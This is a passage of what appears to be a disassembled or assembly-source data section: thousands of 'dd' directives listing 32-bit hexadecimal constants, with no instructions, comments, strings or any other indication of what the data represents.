5B97B08Dh, 0F8E6003Ch dd 98819FF7h, 5D0089DAh, 1735F5DCh, 0F5038F3h, 0F6DF0768h dd 0DE9EAAE3h, 47AB24D1h, 0D80D31B0h, 0A112E092h, 80F96F03h dd 0C0DC5F49h, 0FCC87DC1h, 936E00D4h, 91EB7337h, 2FE6F7B0h dd 0B610C728h, 636758A0h, 0C67C5400h, 56C824CFh, 480E48E7h dd 0ABA80900h, 4B2E6630h, 0DA3EBA0Ah, 8700D0FFh, 208C58CCh dd 699F844h, 357449F5h, 8B1DF03Ch, 0D1C06A61h, 0F8528C7Fh dd 0CDFA1DE4h, 2973434Bh, 0C180CFDDh, 0DC097D77h, 581751h dd 0DAE70461h, 115502A8h, 0FF208A31h, 6C5E0460h, 0E500337Ah dd 81A6AF69h, 169EC8h, 0FE87F7C6h, 5E3143BFh, 0CAE3DC00h dd 15CFB595h, 5D890F6h, 0E43C7E29h, 63AC00F8h, 0FE47C74Ah dd 200B2730h, 0DD15A7h, 1D7AC33Ch, 3683041h, 0B603AFEAh dd 6924DF6Ah, 0F22AE1DDh, 7667B0C3h, 0A980219h, 0F8365E7Ch dd 0D7488881h, 0C5D4C057h, 4D184700h, 0DBAB9FA0h, 0D56B0001h dd 9D1C4339h, 0CC00A6FDh, 830ED4B4h, 5A506Ch, 0D82D115Dh dd 56431F23h, 1C753900h, 642ADD32h, 7F2E06F5h, 44E33B53h dd 0F13AF480h, 0AD21E05h, 8412A35Eh, 0C0E31EFFh, 5CFBBE39h dd 0D5079EF5h, 0DF4E518Bh, 2F3D8D90h, 44902E1Bh, 3A990070h dd 17156ABEh, 2B0C5300h, 7CB04370h, 0AA8B00D9h, 0EE48408Eh dd 0C603B53Fh, 854959D5h, 2A8FB1D3h, 5C5E37C0h, 6A030A73h dd 1DF2ED6Bh, 8D60E6D0h, 11D17B00h, 25B9C27h, 0C9BF0613h dd 2991D9FCh, 0E55F100h dd 14BEA9B8h, 0A75100A1h, 0CA236EAEh, 0DB09987Eh, 80524E73h dd 8C863700h, 0B210033Ch, 0B4433422h, 6FD0CEB8h, 0EE695F00h dd 0E9D9C088h, 249B00F2h, 0AA76EB34h, 0C2001389h, 0EA5D922Ah dd 610CA4h, 3B3901D6h, 0FAB1BA78h, 0E72DEF0Bh, 2A9381ABh dd 2F4076Bh, 7D8E69Ch, 730D3C6Dh, 0C005807Bh, 0F800599Ah dd 0BBA040A3h, 23C174Dh, 42F7281Fh, 0E4403D11h, 9D266D12h dd 4900E4DDh, 71346720h, 0DBD50051h, 0E89F6FB2h, 0FBE53D48h dd 0D9EB1FE0h, 0C2661103h, 0D85F8F97h, 267AC5CEh, 8558E7D3h dd 0C0688E93h, 33D0C4EEh, 56005498h, 5BBAFCCCh, 385CE30Bh dd 5807FB1h, 3AAD8C90h, 0D91ED716h, 25803882h, 2DBD4EFAh dd 2AE503DDh, 0DFC360F0h, 7A63281Eh, 0FF1EB100h, 2D7E8C7h dd 612420D1h, 89E0A84Fh, 0D00E2FD2h, 30163A3h, 908FEF1Ch dd 0AACF78h, 0ACF457E2h, 0DC5AD758h, 0D03BE400h, 0ABE5D68Eh dd 99BC00C8h, 0A10DF451h, 8D3A94B1h, 89B2BA83h, 1C6EE60h dd 332ED60h, 84D820h, 0AFD791FEh, 44239FD5h, 0B622CC00h dd 0D225206Fh, 5845FE3Ch, 0DA00542Fh, 2AC8A075h, 27004993h dd 0B0E11461h, 0E053AA5Fh, 0E4F60530h, 93704B05h, 0D0D45EE8h dd 3B8859BCh, 5A4E8300h, 7F518692h, 0D24F07DBh, 80B37968h dd 0AEA21F8h, 15952903h, 0A8509BF0h, 0A27381CBh, 0D8B443D1h dd 1EBB91F9h, 67758Fh, 86F16001h, 0BF000F40h, 0B33F2A2Dh dd 908D0E83h, 0AE8F0070h, 1BCDE547h, 9900D68Bh, 0D5D9290Fh dd 3ADB1336h, 0F202B2BAh, 79C13FADh, 0E14EA880h, 0D6006B19h dd 944097BFh, 17B0DB0h, 0F6134CFEh, 7AB98Ah, 2C37CBC6h dd 7906B51h, 300852F5h, 42D15A57h, 22701898h, 0DA7E4E00h dd 5028AAE9h, 36AC078Ch, 809252A5h, 5C5880FEh, 19575A0Fh dd 12D8000Fh, 48134270h, 0F300945Dh, 0B26F26DCh, 503962Eh dd 8FD72148h, 0F95AD86Ah, 3F490736h, 10644C76h, 18E8204Bh dd 0A998AD00h, 0C4BF8AAFh, 0C4235C59h, 0F8D94800h, 6C1F054Fh dd 0F4A97C02h, 0E00DA75Eh, 7E53CA24h, 0BDAC0042h, 7BE923BAh dd 0D0707C17h, 0F830D600h, 0D4B980E3h, 659431F3h, 0F033EC36h dd 0A6008AEDh, 450696DDh, 7A5E15D8h, 28700065h, 0E16F0E9Eh dd 5900E74Ch, 2B107AE2h, 4AFDD51h, 0A9C4D796h, 0FEA4C0AAh dd 4C014B04h, 42EFB302h, 98E4F783h, 39F1EF2h, 605FE50h dd 0C1AF59D0h, 0C5557911h, 35B4415Eh, 0F3B040E8h, 0EB0FAB08h dd 801A6DCCh, 63407E77h, 0FE6B0014h, 0D06CA6F2h, 0B90001BBh dd 990BCED5h, 30F59860h, 6660B21Ah, 0C63923E7h, 0ED2F1E70h dd 54EFBD40h, 0EED75004h, 692C009Fh, 944D1AF1h, 0B800E426h dd 75017FB5h, 26384FEEh, 9FC4AA59h, 7A0B00D2h, 0A88224EDh dd 4BBF1C01h, 9188ABA0h, 3999F6D8h, 0BA9FBB94h, 0A207C62Bh dd 5300D046h, 57240D76h, 1DAE7EC3h, 131EB6F8h, 2201289h dd 0A08CBB7Eh, 25EE9C81h, 2F080C0h, 95074508h, 72AB003Ah dd 982D9F74h, 0C503F77Ch, 1290C3EAh, 0CE4A8875h, 62583C71h dd 0E4489180h, 0BAD9F116h, 43FB6A00h, 0CB508802h, 0F30C0051h dd 0C5A0177Ah, 0A0027FCh, 829C233Bh, 2E8FA65Ch, 3C1253h dd 28D60B8Ch, 2A00C449h, 0EC5E7467h, 0EC42E239h, 0E06B005Bh dd 70D9685Dh, 0AE00B682h, 93C12DB0h, 0CA6CABh, 0AD24FE7Ah dd 0DFB52768h, 817DEF00h, 655DC51h, 7522F07Bh, 3687BB2h dd 4B3EF59Ch, 2F864AFh, 14036F1Ah, 261101C6h, 0E0F2B23Fh dd 78588BC3h, 4E2D01B2h, 0D59F76CBh, 67B02F9Ah, 0D70201D2h dd 0C0827454h, 0DCE840F3h, 0B0005CB3h, 6E7E52FDh, 3E11B84Fh dd 4901925Eh, 6077DAA9h, 8A2AF094h, 37546F03h, 0DB8398D3h dd 7485F0D8h, 7153079Ch, 12B77336h, 0FB01470Ah, 7D08C228h dd 1DE3081Ch, 0AB027200h, 3271E39h, 5CB17AF9h, 23B89873h dd 8600F594h, 775AFBB2h, 48B5121h, 5F1648E6h, 7F04808Ah dd 0F81D751Dh, 5B453EF7h, 80C7F257h, 0BDAE2CA0h, 3D450044h dd 7DF5BC49h, 0F60F5BAAh, 1D5148F8h, 0F202E900h, 300D8DCAh dd 78100C82h, 11123425h, 0B8409EC3h, 72FF49E0h, 155B03B0h dd 88F80B47h, 273A77E0h, 5804CC00h, 2C8E73A8h, 0D2400F63h dd 0FFE0826Ah, 0C8CDC2E1h, 560F8600h, 5CF5EED9h, 0A6D6008Ch dd 0F22CF109h, 0D100B285h, 163B2D38h, 0C374861h, 3DD4E7Fh dd 2C0EB9C8h, 0E0A146E9h, 6152F78Ah, 668B0EFDh, 0AE00F59Bh dd 51CD8C33h, 90B8411Eh, 722DD304h, 1FA23FC0h, 24280061h dd 9BBC99D5h, 2A053FD4h, 8474BAC9h, 0AB0B9900h, 7FEC35B1h dd 80170044h, 1CE7A428h, 641C2415h, 4E80A27Ah, 0C6337FFDh dd 0E0913D9Ch, 0DE3A53CCh, 21D32380h, 3EEE44Eh, 2CB6790Eh dd 0A6CB20E2h, 374BB2Fh, 0E1F3548Ch, 4CA89796h, 910904DBh dd 80464A9Ah, 12BD28B9h, 592F39E9h, 782E492h, 80C6D15Bh dd 7225D7B7h, 3AD9D800h, 0ABA5C1A1h, 3B8C07CAh, 42B040C5h dd 5AC0642Fh, 4C00C39Bh, 50B198EEh, 1D06FEh, 0A6953972h dd 0AB8490ADh, 52EF800h, 7D294C9Dh, 7EC0C7F6h, 0B1CF90CEh dd 0EA00BB56h, 966B02FAh, 0FC82C967h, 0F0D4F9CCh, 891900E3h dd 3113F1BFh, 0A50024F7h, 0E9583312h, 0CAC8Eh, 3BC9D514h dd 2FE6A9EBh, 56926B07h, 0E60D938h, 0CD3EB2h, 0B443A144h dd 6B633BECh, 86F42573h, 99456203h, 0A81024B2h, 0EA56D9FDh dd 0F12F0B18h, 0D98006C9h, 0D332B799h, 97A89C00h, 63DD265Dh dd 2BF70FABh, 0B960FED9h, 0D349653Ch, 7BDCBF01h, 37DFB6F4h dd 7A9A72D8h, 0C56301BDh, 0B3F2F1AEh, 0A800C7A8h, 0B14C01ECh dd 3F568AE3h, 0B80052AFh, 51D924CBh, 4900C731h, 0DDD7570h dd 1EFD42h, 0A0B18146h, 740A3513h, 8B7E9E17h, 2E0100EFh dd 0ECDBC451h, 5AD5A700h, 0B31378BAh, 41CD0091h, 620AD249h dd 4603988Bh, 435A5D0Dh, 0ACC6A016h, 2A5801DDh, 0AAD4ED0Eh dd 0EEF0CCC4h, 3D557B03h, 986FFA23h, 6205EBh, 83DBC1A3h dd 0C69F77F5h, 404B7B24h, 95DCC280h, 0FA5075EFh, 8E660063h dd 110BAA35h, 2003FC70h, 6D641FC5h, 5994988Bh, 0D8D20012h dd 728FA0B0h, 200040FFh, 1C1869CCh, 7D0CEC4h, 37E9892h dd 0A820FEFCh, 0AD68FB7Dh, 80E25800h, 4123F8B7h, 4B160015h dd 0CBE087EEh, 0C4E899EAh, 2BED3D0Ah, 34002CB3h, 8E9246D2h dd 84B20314h, 2D051A77h, 0C43CCF80h, 0A441607h, 78602EECh dd 672674h, 3568BC6Bh, 21995AEEh, 3A07CC7Ch, 0C7A84C12h dd 0EFCFE28Fh, 0EB6840ADh, 8218019Ch, 7D2D93C6h, 4FFC50A3h dd 0B0007B13h, 42C9BAD7h, 3AF2C524h, 0AF78ED5h, 8CD2EBC2h dd 0F5B28CE8h, 86007C11h, 0CCEA043Dh, 322375C4h, 1868DC7Dh dd 384B6881h, 7CDC8B5h, 699CB81Dh, 0B6EAA840h, 0B0BC76BDh dd 0A70800C4h, 882987F1h, 701DAE83h, 0DFC0DE5Ch, 11FD35D7h dd 0D24B00E0h, 0BCED3804h, 0F1FC5A5Eh, 53C66D00h, 0B10A1907h dd 31909078h, 9C106E35h, 363A00B6h, 55560091h, 0AA4515CFh dd 0B000DDB4h, 57E6F5A9h, 0E77DBEh, 5064A82Eh, 26319895h dd 0D093713Eh, 8C01D6DFh, 6E27E48Fh, 0DB208A32h, 0C9CE00C5h dd 15D19F2Fh, 0E5E2FC37h, 0E09E8305h, 0B4006966h, 27CB141h dd 96F00DAh, 3EF28CD3h, 0AC735277h, 0B3502F60h, 0FC4BE1D1h dd 0AEF012h, 4755C46Fh, 0C001F7BDh, 28118900h, 5615D5A9h dd 44F24869h, 2B323B00h, 3FC61240h, 96DFD700h, 0E3314AA3h dd 946C012Dh, 0E4A67D7Bh dd 0CC2F211Ch, 3805E0B8h, 8FFF7C19h, 8D6F9440h, 264FDEFBh dd 2D202566h, 0D60086D4h, 0CD30CA8Eh, 0E7BBDh, 112CC353h dd 7163D025h, 0D81C5570h, 0ED8904CAh, 9804A32Eh, 0CDF1B8D1h dd 4C7614A0h, 7400FF33h, 7350F6A6h, 470BD2B5h, 0D19993h dd 3C2CBB49h, 0C17D028Dh, 0DBDC1275h, 76471C40h, 0AC54F618h dd 0F6AAD528h, 947524A1h, 17CF8054h, 27901559h, 0D5677400h dd 20A8410h, 62F0F8h, 85F99AAAh, 2C6940B4h, 29DD6600h dd 7A5C26A2h, 480800E2h, 36D174C9h, 1C0E336Fh, 6E7FEBB9h dd 606BE13Fh, 7609E85h, 1E3C98A0h, 8096E397h, 0D086E08Ah dd 4287E64h, 3100981Ah, 10B311DFh, 0C1401Bh, 16FA4E86h dd 9E12DE20h, 0CA000B7Ch, 0DF098FF7h, 0BB19A3h, 7523EB44h dd 20EFDE93h, 149DD700h, 469CE4BCh, 60AF5808h, 0E8D17715h dd 2F41A00h, 49A1BA54h, 18713A00h, 6AE7571Bh, 70F04C89h dd 2C0FB300h, 4EA3B797h, 0A7B19100h, 44DE1606h, 888004Ch dd 1A2771D4h, 0F600357Ah, 0A8E99889h, 1C2CA5Bh, 0E54D9BF3h dd 300F8296h, 6F446150h, 503B58F1h, 0AE0E26C9h, 120FE5E9h dd 0FBAECC80h, 0FC246C27h, 0AD004CB3h, 0E67205C0h, 82FD024Fh dd 8CD4BFE0h, 0A2B8E360h, 10B77830h, 228DCEDAh, 0AD00CD88h dd 0F987154Dh, 0E0C5B5F8h, 630624F4h, 189904A4h, 3D4C88DBh dd 60B3C124h, 0A0676D0Ch, 8B630BE7h, 0CA00A0B2h, 0C1840B50h dd 2CB7D400h, 6846C47Fh, 312E01F0h, 78A88937h, 0DE6080CDh dd 400B57CBh, 0F1BD6438h, 0BB5030B2h, 0BA2C642Ah, 9ECC001h dd 4492AF71h, 0C7181B00h, 0CD509938h, 12440BF5h, 8C90208Ah dd 9E0345B7h, 0D3815704h, 31D0A863h, 0F1C000FBh, 0BFA4E49Ch dd 9D0FB76Ah, 0E0341FE9h, 0D4F70178h, 603500B6h, 268CC864h dd 4301E0BEh, 2D24E6DBh, 2FFC51B0h, 5F4F879h, 462563DAh dd 0A044C0B9h, 2D00BD2Bh, 781C14AFh, 3FD25299h, 338035EAh dd 0A8D48360h, 0A428B2F2h, 0D12EAC21h, 0FB8058C4h, 2A26A120h dd 0C3F6035Bh, 28FEF2BFh, 0AF5791E7h, 0F9F530E6h, 0A5E51A2Ch dd 0BB325500h, 2777E4Fh, 451BF4B7h, 0DE62267Ch, 70D76080h dd 0E10131E9h, 38339D2Fh, 0D0FCBA62h, 0F17E0065h, 231443D2h dd 3F59696Ah, 0A8F00A8h, 29F5C957h, 2604E2DBh, 1E88CCBh dd 2019AD6Ch, 0C64E00B0h, 4959782Dh, 0D2251073h, 497C5430h dd 948DE800h, 75622539h, 0B8680397h, 8F8931ACh, 40114481h dd 646523F8h, 0FE0B6AECh, 8574D027h, 9B0740C8h, 29510485h dd 2CD85EA5h, 4C323061h, 87B326A1h, 11841230h, 730A6B1h dd 0A4895170h, 1800091Eh, 81FD8A9Eh, 2D3FDCBAh, 469680AAh dd 0C337B4D0h, 40F60034h, 59E4E03Bh, 3301F007h, 0B2387FBCh dd 0E83258D2h, 0EF109004h, 5CB2819Dh, 0DD4020BEh, 0AC351F00h dd 0E921D62Eh, 52B2002Fh, 80A1CFDBh, 0EF001DC5h, 8CB3219h dd 73E81FC7h, 46510049h, 4A5C44C8h, 73008E2Dh, 0CFB7EE65h dd 9E8631h, 93EA5263h, 0A2E05605h, 3E1CEB01h, 0DC7BF5F6h dd 7005833h, 89A95095h, 0CD002F55h, 5F3DE222h, 0B0DAF532h dd 8FCE17A4h, 0B0540001h, 4EDDEB4Ch, 0B1176B01h, 0FE8DED56h dd 39493034h, 7C03CDD3h, 92A55FB8h, 44EF9AC8h, 3CB2D212h dd 6591C00h, 0B2BD43F3h, 7DB7DA8h, 4107DFB7h, 79B4C088h dd 0B500FC1Dh, 0BACD859Fh, 243EE474h, 0C0E7Ah, 77EC7E92h dd 0F4F804C3h, 0B5A058h, 8A0D9828h, 0EECCE8C0h, 0EE610030h dd 232BD869h, 0DC909905h, 5C496500h, 0BDA6819Ah, 150F2CC3h dd 6D96077Ch, 6506A185h, 1D0E303h, 0EC000DA4h, 0F5F38A53h dd 7C0EF2h, 0A059BD19h, 0C6A888D9h, 22F8EB63h, 0FE4490A7h dd 0EC790095h, 0AF73D2DFh, 0AE019FFAh, 0E7AB74CFh, 3CF47528h dd 439E1834h, 0BF5E18AAh, 0E21EB304h, 6CC07684h, 308C2302h dd 5220AB0Ch, 7801C947h, 5FE2D403h, 0DA402125h, 30E5EA7h dd 75511CF1h, 0F07A5B17h, 4490FF60h, 17BF6EA2h, 203F6216h dd 0D1A128DCh, 98925900h, 1726AED3h, 0AA5A2404h, 31FC0068h dd 401EF941h, 0B3E1A800h, 0EF6BCE4Bh, 0F50E0B16h, 1084D636h dd 0BCABC092h, 0A801BE45h, 2DDF070Dh, 0C305547h, 2C83F077h dd 104B4EFh, 0CB134073h, 0DDF4F941h, 0C07A2192h, 973A98DDh dd 0ABA2057Ch, 0A4425C83h, 624782A3h, 0B9AD60D4h, 0C8740232h dd 0CFF538DBh, 0CB759440h, 0C898563Dh, 0FE707D4h, 865604BFh dd 0ED6A1650h, 761040AAh, 4F92792Ch, 7B1611C0h, 3DEDC1A6h dd 5000F59Bh, 0C75E0BB0h, 0E8008611h, 0A1F1B528h, 7F8F4655h dd 0DAE300F9h, 8B222EA0h, 7512C24Ah, 88807C78h, 1C60B115h dd 163A8E1Eh, 0C034279Fh, 656B7441h, 90613600h, 18AB78B6h dd 0A8AF00B9h, 4ED64DF8h, 0E700A756h, 940F9064h, 0E81021DAh dd 4D281F04h, 44184999h, 8B00F28Bh, 0B46AC782h, 0B2B9211Ch dd 4B9F807Ch, 8A5BB3EBh, 965D0061h, 0BF440E9Eh, 6524F22Eh dd 0C100D432h, 5109B371h, 9D2700CEh, 1CF38812h, 6EF6915Bh dd 3AF2B90Bh, 0F63800BCh, 2DE1207h, 0FCF59042h, 0C880E43Eh dd 2A1B36F9h, 8D545A00h, 120AAC37h, 3DF71D73h, 405F9FDAh dd 0DBC131DFh, 6F00175Ch, 0ED33D2FAh, 3EFFB8CFh, 32074038h dd 4074F570h, 0BB246DE6h, 6500CCECh, 3EA90A13h, 0EEB11B6h dd 4EFF6B66h, 21F9DFA0h, 2207D8F8h, 0C952CB2Eh, 0E048C5E1h dd 7931C74h, 0EBBF823h, 88A09156h, 0F78CC4D2h, 35802094h dd 0BD70A5C3h, 1FB20071h, 314C9E16h, 0AF0959D2h, 205A088Ch dd 21D71C0Ch, 118360E3h, 8F1F3C03h, 0C4876200h, 0ADCC31DBh dd 0B0B30545h, 0D0F33DB8h, 24E36C38h, 5E585C90h, 23758158h dd 0D6C81D2Ch, 0F89E0290h, 2E0F7C6Eh, 22F15C40h, 10285258h dd 0A003E99Bh, 994EC0F6h, 0FC171000h, 0D9F5E806h, 60987485h dd 0C7F2FE71h, 0A701C4DCh, 281FE080h, 0C874EC6Dh, 29DD1092h dd 7F150056h, 0DBE8F6A7h, 88F401D3h, 6B4A8433h, 219EDCA6h dd 0A4DD2309h, 2D05E0Bh, 4C8CDA7Ch, 0B16D3460h, 809C5200h dd 5CE9B0A5h, 0EB090296h, 0D362ADEDh, 4041C8E2h, 5DA8E053h dd 1449948h, 0C3E0333Ch, 51ECEBF1h, 30C57EC4h, 0CA10F448h dd 7D00B2D9h, 188380ABh, 1E8424Dh, 5386A03Eh, 0ECD18A0Eh dd 417CE447h, 0BB48A800h, 1E73C520h, 95E10010h, 914B6ADBh dd 0F60074FFh, 7CC3E3C6h, 2EB44FDFh, 18E7C9h, 0F153B215h dd 0E50093EEh, 2B56AFA7h, 789133Bh, 0A5EBF2A6h, 4FA020DFh dd 0DE007638h, 0A49B9E65h, 3933EC63h, 7D00CFD5h, 890154DBh dd 0B0EC1DA1h, 429FA009h, 0BCC6C4Fh, 2141A1E3h, 567A14A0h dd 870094D8h, 0B18FBE98h, 83828A5h, 0B02B7509h, 0A57DAA1Ch dd 0EA340587h, 501D4CC2h, 45E3052Ch, 0C0FECAE5h, 0B67AAA30h dd 0CD2CC703h, 0A1A38C5Bh, 82D44BDCh, 0C9480279h, 0BC69726Ch dd 0D7C3CDC0h, 556E0624h, 2D4F5000h, 0F84263D0h, 0AEC700A0h dd 640F3B0Ah, 62013EAAh, 0C6F78D59h, 0F840E0B8h, 1D0D28h dd 3A0B417Fh, 5E5B29DFh, 0C31BD800h, 2140A4CDh, 0E895039Eh dd 0F8C24A7h, 1C4C71D0h, 2399640Bh, 0E60000BDh, 0D2F32Fh dd 715F295Ch, 0A828EABAh, 8A665E00h, 64C1DD37h, 0B30021Bh dd 0EE5AE046h, 0DCA6D441h, 3C7FF752h, 65089100h, 6B6C5171h dd 0E22F00A4h, 638A7D38h, 100E15Bh, 6881AC7Eh, 14F385h dd 7574CC03h, 0E1D461DCh, 0A1975D03h, 0A0602096h, 4E59EBh dd 7411AB2Bh, 71D50BFh dd 0C0EA3Dh, 0C63F9BD3h, 0CE693Eh, 6C03155Ch, 0CC5D1BE5h dd 88339400h, 0D8FF5F1Fh, 574600B4h, 7A130A37h, 1A00F967h dd 206552D0h, 1445Dh, 6B45684Bh, 2D2826F5h, 8AC41300h dd 3538D816h, 14850039h, 5295D18h, 0A705EC03h, 7B719EB9h dd 2FD2C000h, 0E0116E6h, 0D7822B24h, 407984A0h, 80282181h dd 0DE00941Fh, 2A3F04EEh, 9ECCE9h, 82CD0D0Bh, 0E2ADD4E5h dd 98692300h, 5C4F791Dh, 0D8E1001Ah, 28332A5Fh, 4800B18Eh dd 96953292h, 5DB6D6h, 46C6E4EAh, 1A9F8442h, 7E4EB700h dd 7199B925h, 0C46A09E9h, 30E03359h, 9BB01678h, 0AA144202h dd 0E0EB36B2h, 8615E4h, 320F798Ah, 4204B58Eh, 0B7918700h dd 68D1A47Ah, 13E8B222h, 804AE972h, 66BB78ACh, 2E25B000h dd 103D00Ch, 0E1740027h, 5D9875E5h, 3C0B8E43h, 801C1D7Ah dd 0E0C07119h, 517313h, 70F5F603h, 0E167D252h, 23003894h dd 0CFDCCA64h, 777D3A0Fh, 6CAC1F00h, 0EF4B173Fh, 1E6A0406h dd 9008DDh, 70FEED65h, 721744F2h, 13B3DA58h, 241E34B7h dd 1807C21Fh, 51803F38h, 178E6792h, 12348C1Eh, 8BC20092h dd 93CB5B80h, 6E036A78h, 0EFEBB9F7h, 0ED4D80FDh, 5C1F1C1Eh dd 3A33C602h, 68C15929h, 0F6689C50h, 0A298A880h, 0D4B9F0BEh dd 67A41F0Ah, 0B20068DFh, 0A0FD617Ah, 0F231005Eh, 8C17A72Bh dd 0F316862Fh, 0AE0095BBh, 0BE1EE421h, 2D300E8h, 8720C65Bh dd 6C002426h, 0A7883525h, 7EA482h, 60B7716Fh, 2E5745D2h dd 0E5BE1A00h, 0D075EB61h, 4D4600D5h, 0F5473770h, 0C3007BF8h dd 42282BBBh, 3CDBE1h, 31B34A0Eh, 1A4F06FEh, 0F500C87Eh dd 0D2C139D5h, 82C579h, 4ABA1D0Eh, 5DB26FA5h, 8428A301h dd 977F0DBFh, 0FD39C20h, 16CB0FCDh, 61E05300h, 7A71CA84h dd 0BA7C4A1Dh, 0B3489BC0h, 6FDE634h, 5F980F21h, 53000AECh dd 0E3105825h, 734472h, 66841E4Ah, 0B28B4F75h, 632DD00h dd 0B46571BCh, 0D3BE02DAh, 0C84BEB6Ah, 0E024A4F0h, 9F002A43h dd 0DC7D2E10h, 83E66A5h, 65002134h, 888B1C15h, 0E520B4h dd 5030E1D1h, 0D3BD0781h, 2802CC30h, 0E9F26B22h, 5C65EC50h dd 0DB20C006h, 0FF70C569h, 0EB00E4A4h, 0F4BFFD4Fh, 63F7E3F8h dd 0E8ED2809h, 1DDD2100h, 0FEC58563h, 45B100BEh, 4D21BC93h dd 0EB349799h, 0D6C029E7h, 6525C25h, 6A1F7CA8h, 0DD3008B0h dd 4A2A209Ah, 5BE825h, 0BBEB1B4h, 0A0084F34h, 33240D00h dd 0E2EDDEDFh, 0D6C517CFh, 40BC5C5Dh, 1A0818FBh, 6B0FD8C3h dd 80A6C912h, 4D577321h, 0F74B0398h, 0C43D1445h, 0C648D588h dd 156C3B07h, 0FB60AE06h, 0EC08409Ah, 16570C5h, 7BA3A7D3h dd 0FCEC27A5h, 0CF98FD89h, 76DA60Eh, 97821F2h, 90DBCA14h dd 4D50C2h, 80C11F86h, 9AE4318Ch, 1C5CA300h, 3458E366h dd 0A9A705C6h, 0FB0DEA79h, 0A15EA000h, 0E94255h, 635FE18Ah dd 0AE35D21Dh, 0E5734326h, 3EBD900Eh, 8978DC40h, 173DE9h dd 94450981h, 0BB2AB112h, 0DB4CB600h, 0DF357288h, 72D7551h dd 7E59FF31h, 447533D7h, 1360DEC7h, 0F6AB3517h, 0CD813B01h dd 0B3C62ABAh, 8EF0CCh, 6F274602h, 0BE7302Eh, 0FA894800h dd 0DB390340h, 0B9753ECBh, 94B6AA8Eh, 100E8C07h, 0B36374DCh dd 247E5001h, 5CB4A9Eh, 7A51130h, 54F18B6Dh, 3A91B02Bh dd 0CD011FCEh, 90164C7Fh, 42E4D682h, 0B822EA7Eh, 0BE613D42h dd 58E8C00h, 1CEBAA90h, 1A008DFAh, 7A28AC35h, 39939955h dd 3FC2B3Ch, 0AB23DC31h, 29BE58EBh, 0D111B842h, 8FD214Fh dd 0E4908B3Fh, 483E2F84h, 8ACE4229h, 9821F024h, 0D9751163h dd 8C945810h, 8929FC80h, 0A0610838h, 0C48B5028h, 4F3E8829h dd 82808BFh, 0B9ACDE6Dh, 20342932h, 0F9AAC97Fh, 502EF7F6h dd 73008B3Bh, 0ABC46884h, 2FDF8FEh, 0FAB6353Eh, 68E02E3Ah dd 0BB0047E3h, 2FA3A8CEh, 91FC73h, 90411F4Bh, 66B28451h dd 3700FEFCh, 0CE65A5E7h, 417E1h, 0DE7F3E69h, 8B979E08h dd 3600C7F4h, 0FADCA892h, 1344F6Ch, 0ECAE74C4h, 0F803AF56h dd 14002DB9h, 6B61D70Ah, 6875CEh, 9EE00159h, 0D8A7213Bh dd 914D6905h, 0F3809B76h, 71E783h, 5DAA3F90h, 8BB3EE1Ch dd 2CAE8F00h, 278DF808h, 0A29C007Eh, 5519E46Ch, 0FB006BC2h dd 23AD59Fh, 38084D01h, 661F73F1h, 351804Fh, 0F4647E84h dd 2240F760h, 437DA5h, 249D67BAh, 0B298F05Ah, 79508600h dd 0FED568ADh, 307D1889h, 6EFBA88Ch, 3D26340h, 0D9B23EA0h dd 0F49A4AFAh, 0EF158480h, 0E018D65h, 2FCF969Ch, 0F13A27F3h dd 6945D0F1h, 0BB08AA03h, 0F86220E1h, 0F2B7B384h, 0A6E5001Eh dd 0A1740A9Dh, 8800BA5Fh, 12E736D5h, 0F66C7Ch, 0ABCD7996h dd 0B5F8DDBh, 9502B87Dh, 0A4297A85h, 0F82BE3D6h, 49CC919h dd 278CE4B9h, 1238809Eh, 0AA00D51Ch, 0E21EDB86h, 7C6CEDDh dd 0CABA4D1Dh, 301AB0F6h, 3E0052F1h, 371E949Bh, 7B55DD12h dd 3493872h, 84243180h, 75DB92D4h, 0C78A4B00h, 82E67D17h dd 6A65002Ah, 6609838Bh, 0E0075D3Fh, 5EBAF73Eh, 263AA00h dd 0F9810084h, 2C3ADC6Ch, 651E5253h, 82C51FB2h, 4980A7CAh dd 3FC7582Eh, 1C0CE987h, 2E8E1B4h, 0DFBBB217h, 17608A00h dd 712D2D4h, 0CE6D85E0h, 5F86A77Dh, 0D0470447h, 0F7B70AFh dd 4DD0FB00h, 4551ED94h, 0A6011D2Eh, 0EECDC7DAh, 356EE023h dd 0AE03EAC8h, 89B5AF2Fh, 176BB013h, 440E00EEh, 7781CA93h dd 0CE38D78Fh, 8E3480E8h, 27721E74h, 0D65400F6h, 624293EFh dd 6A603B14h, 0E2104DE8h, 0A10B24A4h, 0D66700C5h, 0DD19F265h dd 0BFF48B00h, 1315CA59h, 20BE0788h, 0C0B462E3h, 0D1EDD46Dh dd 0C4771E00h, 3058AD94h, 737A07CFh, 0B3356842h, 17D0A4B9h dd 0E304E8B6h, 61069475h, 2E00DCC7h, 7B0CDC3Dh, 0BB450082h dd 40F309EFh, 3F002CA3h, 8B014391h, 897554h, 0A8C07969h dd 7035DD7Dh, 0DC7AA10Eh, 9B48608Ch, 9E0C7EDh, 5FCD9840h dd 56FD7400h, 6700A9D5h, 0AEFA7D75h, 170E2BAh, 0A6DA47F3h dd 0C0860E5Ah, 700EF97h, 0C84E54B8h, 0C4F331h, 6836509Ah dd 0A053B704h, 0F1BF1C01h, 0EE16200Eh, 0E251E0C7h, 541900A6h dd 8D745B43h, 8C00D5F0h, 56D471B4h, 3FE1C3h, 0EBA84ED2h dd 9EC06825h, 6BE44400h, 0D9C3BD5Ch, 0AA830047h, 1C41900Dh dd 0A1C4574h, 7A1E466Ch, 21E68Eh, 86F6AF84h, 0E293394Ah dd 73C0B100h, 59A51923h, 625BFB00h, 966C104Bh, 446E0092h dd 7A83788Eh, 3D0F55B8h, 0CBD6F640h, 1DD80F8h, 0EDAF08h dd 906B7017h, 0A787736Fh, 1593A600h, 0B50C2046h, 0EDCF0771h dd 0F0D4AEC1h, 219E998h, 93B03Ah, 8BF2E8Bh, 1CDBBE43h dd 407E0904h, 96EDFA33h, 0A2005938h, 49188CB7h, 1D0E3E0Bh dd 0C05423E2h, 68EED6C0h, 0E714294Bh, 8CFF72h, 0E112FC0Bh dd 78AF915h, 11F018FEh, 4540FE2Ch, 4BC22D06h, 0E1F8A800h dd 594763ADh, 5AC8008Dh, 0B3FD602Eh, 0B0068D9h, 0DC2B9E8Ah dd 4D65A6h, 0B0B513CBh, 288D443Eh, 72BED500h, 0E034CA7Fh dd 1FA3003Ah, 51307383h, 31006B4Ah, 0A839F145h, 735E302h dd 72F74F52h, 27ECE023h, 0A91F8E7Fh, 47573EA3h, 8450200h dd 77CCB256h, 1AF60019h, 0BCDF34CEh, 2300708Ah, 3B40893Dh dd 870F6Dh, 2D8416C8h, 20B81F4Dh, 0AECCDA00h, 80FDCED5h dd 